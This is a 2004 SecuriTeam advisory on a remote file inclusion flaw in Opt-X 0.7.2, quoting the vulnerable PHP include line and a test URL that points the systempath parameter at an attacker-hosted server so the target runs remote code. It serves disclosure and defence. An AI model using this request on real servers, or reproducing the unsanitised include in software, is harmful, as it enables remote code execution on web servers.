[UNIX] Opt-X File Inclusion Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 02/26/04

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Date: 26 Feb 2004 13:03:59 +0200

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      Opt-X File Inclusion Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.opt-x.org/> Opt-X is "primarily a network monitoring tool for
    content/URLs and network services, but it also has some other functions
    such as, task list, server list, log changes for servers and a vendor
    list". A vulnerability in Opt-x allows an attacker to influence the
    include path for PHP scripts.This could be exploited to include a
    malicious script that is hosted on an attacker-controlled server. allowing
    for execution of arbitrary code in the context of the web server.

    DETAILS

    Vulnerable Systems:
     * Opt-X version 0.7.2

    There's a file inclusion vulnerability in the /includes/header.php file,
    line 57:
    <?php include("".$systempath."/includes/menu.php"); ?>

    Is it possible for a remote attacker to include an external file and
    execute arbitrary commands with the privileges of the webserver (nobody by
    default).

    To test the vulnerability try this:
    http://vulnerablesite/path_of_optx/includes/header.php?systempath=http://attackersite/

    In this way the file "http://attackersite/includes/menu.php" will be
    included and executed on the vulnerable server.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:g00db0y@zone-h.org> G00db0y
    from Zone-h Security Labs.

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